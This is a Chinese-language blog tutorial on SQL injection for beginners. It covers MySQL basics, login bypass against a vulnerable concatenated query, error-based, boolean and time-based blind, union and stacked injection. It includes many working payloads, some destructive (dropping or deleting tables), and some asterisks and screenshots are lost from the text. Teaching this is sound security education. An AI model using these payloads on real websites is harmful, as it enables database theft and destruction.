SQL注入杂谈

有人说,你发说说连一个朋友回应都没有,列表的也都是些有的没的,没错啊,发说说就是不希望有朋友看到,不管什么时候,带着面具的日子过够了,只想有个无人打扰的空间,不必担心别人内心的想法,尽情释放自己的喜怒哀乐。


老生常谈的话题,早在2015年的阿里峰会上,长亭的陈宇森同学就曾发表《永别了,SQL注入》一文,但作为最古老而又经典的攻击方式,仍值得我们去学习,去探索,正好协会里有想学习的,这里即作为笔记,也作为一个新手入门的文章,希望各位牛牛不要嫌弃,本文篇幅较长,容盖了我所知道的SQL注入方面的知识,若有错误,请邮箱联系我,一定更正!!!

SQL注入前奏

基本的sql语法知识

SQL语言中文名叫结构化查询语句,简单来说就是一种用来操作数据库的语言,如果你不理解什么是数据库,请你百度,

了解了基本的SQL知识后,我们来看一下常用的SQL语句,以下语句测试一律为MySQL的5.5.53版本。

在进行下面的步骤之前,请记住,SQL语句是不区分大小写的,也就是说SELECE=select,而且要求在每条 SQL 语句的末端使用分号。

基本常见语法

因为每个数据库的基本语法、结构都不尽相同,所以这里暂时只总结一些MySQL下的常用语法。

查看所有数据库

show databases;

使用数据库

use databasename;

查看所有数据表

show tables;

查看当前用户

select user();

查看当前版本

select version();

select语句

SQL select语法:

SELECT column_name,column_name FROM table_name;

SELECT * FROM table_name;

如:

union标识符:用来两条SQL语句。

如:

注意,UNION内部的每个SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。否则就会出现错误,如下图

DISTINCT关键词:用于返回唯一不同的值

如:

WHERE 子句:用于提取那些满足指定标准的记录。

如:

常见子语句条件,

between:查询两个条件之间的的数值

如:

剩下的如: and、or、xor、in、like等都大同小异,可自行百度测试

WHERE 子句并不一定带比较运算符,当不带运算符时,会执行一个隐式转换。当 0 时转化为 false,1 转化为 true。

TOP, LIMIT, ROWNUM 子句:用来返回记录的数目

注意:并非所有的数据库系统都支持 SELECT TOP 语句。 MySQL 支持 LIMIT 语句来选取指定的条数数据, Oracle 可以使用 ROWNUM 来选取。

如:

insert into语句

INSERT INTO 语句用于向表中插入新记录。

第一种形式无需指定要插入数据的列名,只需提供被插入的值即可:

INSERT INTO table_name VALUES (value1,value2,value3,…);

第二种形式需要指定列名及被插入的值:

INSERT INTO table_name (column1,column2,column3,…) VALUES (
value1,value2,value3,…);

如:

UPDATE 语句

UPDATE 语句用于更新表中已存在的记录

UPDATE 语法

UPDATE table_name SET column1=value1,column2=value2,… WHERE
some_column=some_value;

ORDER BY 关键字

ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。

ORDER BY 关键字默认按照升序对记录进行排序。如果需要按照降序对记录进行排序,您可以使用 DESC 关键字。

另外,order by语句还可以测试表中的字段数。

由此我们就可以判断有四个字段,具体的作用后面进行讲解。

什么是SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。(百度百科)

如下代码:

这是一个基础的php连接数据库,接受id参数,并且把id在数据库中查询并输出在页面上的过程,

放在url中大体如下:

http://localhost/union.php?id=1

那么我们在SQL中进行的查询如下

那么假如我们在url后面加上了其他的sql语句呢?比如说常见的and 1=1

我们可以的看到已经成功的在数据库中执行了and 1=1

其实SQL注入也是一样,只是把and 1=1换成了我们的注入语句(也是SQL语句),因为数据是存放在数据库中的,
而sql语句又可以肆意的操作数据库(权限足够的情况下),所以在对输入没有任何过滤的情况下造成了我们的sql
注入攻击。

万能密码详解

大家经常听到网站万能密码登录,今天我们就来分析分析万能密码是怎么回事。先给大家来一个简单的实例:
1.登录页面关键代码如下

    
        privateboolNoProtectLogin(stringName, stringpassword) 
 {
  intcount = (int)SqlHelper.Instance.ExecuteScalar(string.Format 
 ("SELECT COUNT(*) FROM Login WHERE Name='{0}' AND Password='{1}'", Name, password)); 
 returncount > 0 ? true: false;
}

    

方法中 Name 和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL 会存在注入漏洞。
合并的 SQL 为: SELECT FROM admin WHERE Name=’’or 1=1–’and Password=’mima’ 2、现在我们来分析一下:’or 1=1–为什么能登录系统,原因有如下:
(1)、SELECT
FROM admin WHERE Name=’’or 1=1 首先看这条查询语句,查询所有来自 admin 表的数据,条件 name 为空或者 1=1,这两个条件只要一个满足就为真, Name=’’or 1=1 现在 1=1 就是真而且是是没任何作用的真,那么最终数据库执行的语句相当于 select from Admin
(2)、因为 Name 值中输入了“–”注释符,后面语句被省略而登录成功。(常常的手法:前面加上’; ‘ (分号,用于结束前一条语句),后边加上’–’ (用于注释后边的语句))
(3)、不同的程序万能密码也是不一样的,如 ASP 的万能密码是’or’=’or’ PHP 的万能密码是’or 1=1/
(如果在登陆窗口输入错误的语法出现报错一般说明存在 sql 注入)详细请看: http://chengkers.lofter.com/post/14c64b_379726

我们执行一下SQL语句试试

select * from admin where name=’1’ or 1=1

那么当程序存在万能密码漏洞时我们就可以直接登录系统了。

经典案例

WooYun-2016-190646

常见SQL注入讲解

报错型注入

floor型报错

1.rand()函数用来生成一个0~1的随机数。

2.floor()向下取整

所以rand()函数生成0~1的任意数字,使用floor函数向下取整,值是固定的0,
如果是rand()*2,向下取整后为0或1

3.concat()将符合条件的同一列中的不同行数据进行拼接,0x3a是”:”的16进制

将前面的floor和rand结合起来

我们再一次查询,information_schema.tables有多少个表格,会显示多少列

使用group by依据我们想要的规矩对结果进行分组,并使用count()统计元素的个数

这时我们可以看到在报错信息里已经得到了我们的数据库名。

根据刚才的运行结果,发现不加随机因子,执行2次就会报错,我们加上随机因子

看一下结果

多次执行发现每一次都会报错

注意:floor(rand(0)*2)的报错是有条件的,记录数必须大于等于3条,3条以上必定报错

其实即使是随机数,也具有确定性与不确定性,可分别执行floor(rand()2)与floor(rand(0)2)不难发现其实在floor(rand()2)的时候,得到的0、1是随机的而当执行floor(rand(0)2)的时候得到的0、1却是不随机的,因为在执行count与group by时会新建一张虚拟表,当开始查询数据时,从数据库中取出数据,看在虚拟表中是否有同样的记录,
如果有,就在count(*)字段+1,如果没有就直接插入新记录:

其实官方mysql给过提示,就是查询如果使用rand()的话,该值会被计算多次,也就是在使用group by 的时候,floor(rand(0)2)会被执行一次,如果虚拟表中不存在记录,把数据插入虚拟表中时会再被执行一次。在0x03中我们发现floor(rand(0)2)的值具有确定性,为01101100111011,报错实际上是floor(rand(0)2)被多次计算所导致,具体看一下select count() from test group by floor(rand(0)*2);

具体过程如下:

1.查询前会建立虚拟表

2.取第一条记录,执行floor(rand(0)2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)2)会被再计算一遍,结果为1(第二次计算),插入虚拟表,这时第一条记录查询完毕:

3.查询第二条记录,再次计算floor(rand(0)2),发现结果为1(第三次计算),查询虚拟表,发现1的键值存在(上图),所以floor(rand(0)2)不会被计算第二次,直接count(*)+1,第二条记录查询完毕:

4.查询第三条记录,再次计算floor(rand(0)2),发现结果为0(第四次计算),查询虚拟表,发现0的键值不存在,则虚拟表尝试插入一条新的数据,在插入数据时floor(rand(0)2)被再次计算,结果为1(第五次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(应为主键键值必须唯一),所以插入时直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询了3次纪录,这就是为什么数据表中需要3条数据,这也就是使用该语句会报错的原因

而刚才所说的information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数
据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等
等信息都保存在information_schema表里面。

下面展示如何使用information_schema来获取表名、列名、数据

获取所有数据库名:

select schema_name from information_schema.schemata;

获取所有表名

select table_name from information_schema.tables;

获取所有列名

select column_name from information_schema.columns where table_name=’name’;

爆具体字段的值

select table_name,table_schema from information_schema.tables group by table_schema;

select group_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name;

select count(),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name;

具体效果请自行测试

这里以一个报错型注入为例实战演示下报错注入

php代码如下:

构造报错语句如下:


    ' and (select 2 from (select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand(0)*2))name from 
information_schema.tables group by name)b)%23

这里的单引号和#(%23是#的url编码形式)是为了闭合前后的单引号,

select 2 from()b

则是因为进行group查询时我们会建立一个虚拟表,我们需要将报错信息在虚拟表中
查询出来,所以多做了一次select查询,而又因为在MySQL的多次查询中必须有一个
别名,所以有了b

最后效果如下:

所以,我们现在可以得到我们的floor报错注入的公式:


    and  (select 1 from (select count(*),concat(0x3a,0x3a,查询语句,0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)

这里要注意的是当爆表名或者列名的时候,需要使用limit语句,来返回需要查询的指定记录

用法:

select * from table limit m,n

limit是mysql的语法,不同的数据库有自己的提取语句,如top语句
select from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n是指从第m+1条开始,取n条。
select
from tablename limit 2,4
即取出第3条至第6条,4条记录

extractvalue()报错注入

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 div、p、a标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

比如我们执行:

select * from user where id = 1000 and (extractvalue(‘ant’,’/xx/xx’));

我们可以看到正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

但是这样并不会报错,所以我们需要构造报错

使用concat()拼接语句,得到

select * from user where id = 1000 and (extractvalue(‘anything’,concat(‘~’,(select database()))));

可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位

关于substring()函数将会在后面进行讲解。

而剩下的基本就跟floor报错注入差不多了,构造查询语句就行了。

updatexml()报错注入

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

同理在xml路径处构造查询语句与报错语句

网站上如下

几何函数报错

mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。

因为这种报错的特殊性,所以这里只是给出payload,不在讨论其原理

GeometryCollection()

id = 1 AND GeometryCollection((select from (select from(select user())a)b))

polygon()

id =1 AND polygon((select from(select from(select user())a)b))

multipoint()

id = 1 AND multipoint((select from(select from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select from(select from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select from(select from(select user())a)b))

multipolygon()

id =1 AND multipolygon((select from(select from(select user())a)b))

经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行:

exp()报错注入

MySQL中数据类型

exp()报错注入主要也是利用了MySQL的整数溢出报错

注意:在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。

测试如下:

在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:

我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:

exp函数的作用:

此函数返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值

如:

mysql> select exp(709);
+———————–+
| exp(709) |
+———————–+
| 8.218407461554972e307 |
+———————–+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(710)’

注入姿势:

mysql> select exp(~(select*from(select user())x));

5.5.47版本下的

mysql> select (select(!x-~0)from(select(select user())x)a);

大于5.5.53时则不能返回查询结果。

列名重复报错注入

mysql列名重复会报错,我们利用name_const来制造一个列:

根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。

总结:

这个…报错方式很多,组合利用就好,根据版本、长度选择合适的报错语法…

基于布尔的盲注

基于布尔 SQL 盲注———-构造逻辑判断

首先先来看个图片:

首先理解下length函数

length()函数是返回参数的长度

在图片中我们可以到,在database()>5的时候没有返回任何的结果,而>4的时候返回了我们想要查询的结果集,那么这也就间接的说明了我们的数据库库名的长度为5,因为and必须双方皆为真时才返回结果,那么我们也就可以使用这种方式来猜测数据库库名的长度值了。

下面接着介绍几个在SQL布尔型注入中常用的几个函数:

Substr()截取字符串
Ascii()返回字符的ascii码

而关于这两个函数的具体用法还请移步百度,这里不再详细说明,只给出两个函数的基本用法

substr:

ascii:

当然还有这些:

mid()函数
mid(striing,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。

left()函数
left(string,length)
string(必需)规定要返回其中一部分的字符串
length(可选)规定被返回字符串的前length长度的字符

其实到了这里之后,剩下的构造方式就不用我多说了,直接将sql注入语句变换成布尔值来判断即可
这里给出简单的一个payload:

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60

其他的都还望自己前去构造

基于时间的盲注

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
页面不会返回错误信息,不会输出UNION注入所查出来的泄露的信息。类似搜索这类请求,boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用time-based的注入了,即判断请求响应的时间,但该类型注入获取信息的速度非常慢。

接下来,学习基于时间型SQL盲注。

我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。

剩下的就跟布尔型注入基本一样了,构造时间型的查询语句即可

同样给出一个payload:

If(ascii(substr(database(),1,1))>115,0,sleep(5))

剩下的自行构造即可。

联合查询注入

这种注入就是支持union的注入,在数据库中union为连接两条SQL语句并执行。

如:

这种注入往往是最简单实用的,但前提是查询双方具有相同的列,所以一般先使用order by语句得到列名。

堆查询注入

原理介绍

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

因为没有太多的原理要说,所以给出几个常见的payload:

?id=1’;insert into users (id,username,password) values(12,’jack’,’jacl’)–+

a’;create table class like users#

a’);drop table class#

总结

写的很烂,没什么技术含量,本来还想写写waf绕过、盲注脚本编写、sqlmap使用、各类数据库注入技巧什么的,发现那样就脱离了本来的意义,暂且这样,有时间一定补上,晚安。

本文标题:SQL注入杂谈

文章作者:冷逸

发布时间:2018年11月11日 - 14:11

最后更新:2019年01月06日 - 12:01

原始链接:https://lengjibo.github.io/SQL注入杂谈/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------The End-------------
坚持原创技术分享,您的支持将鼓励我继续创作!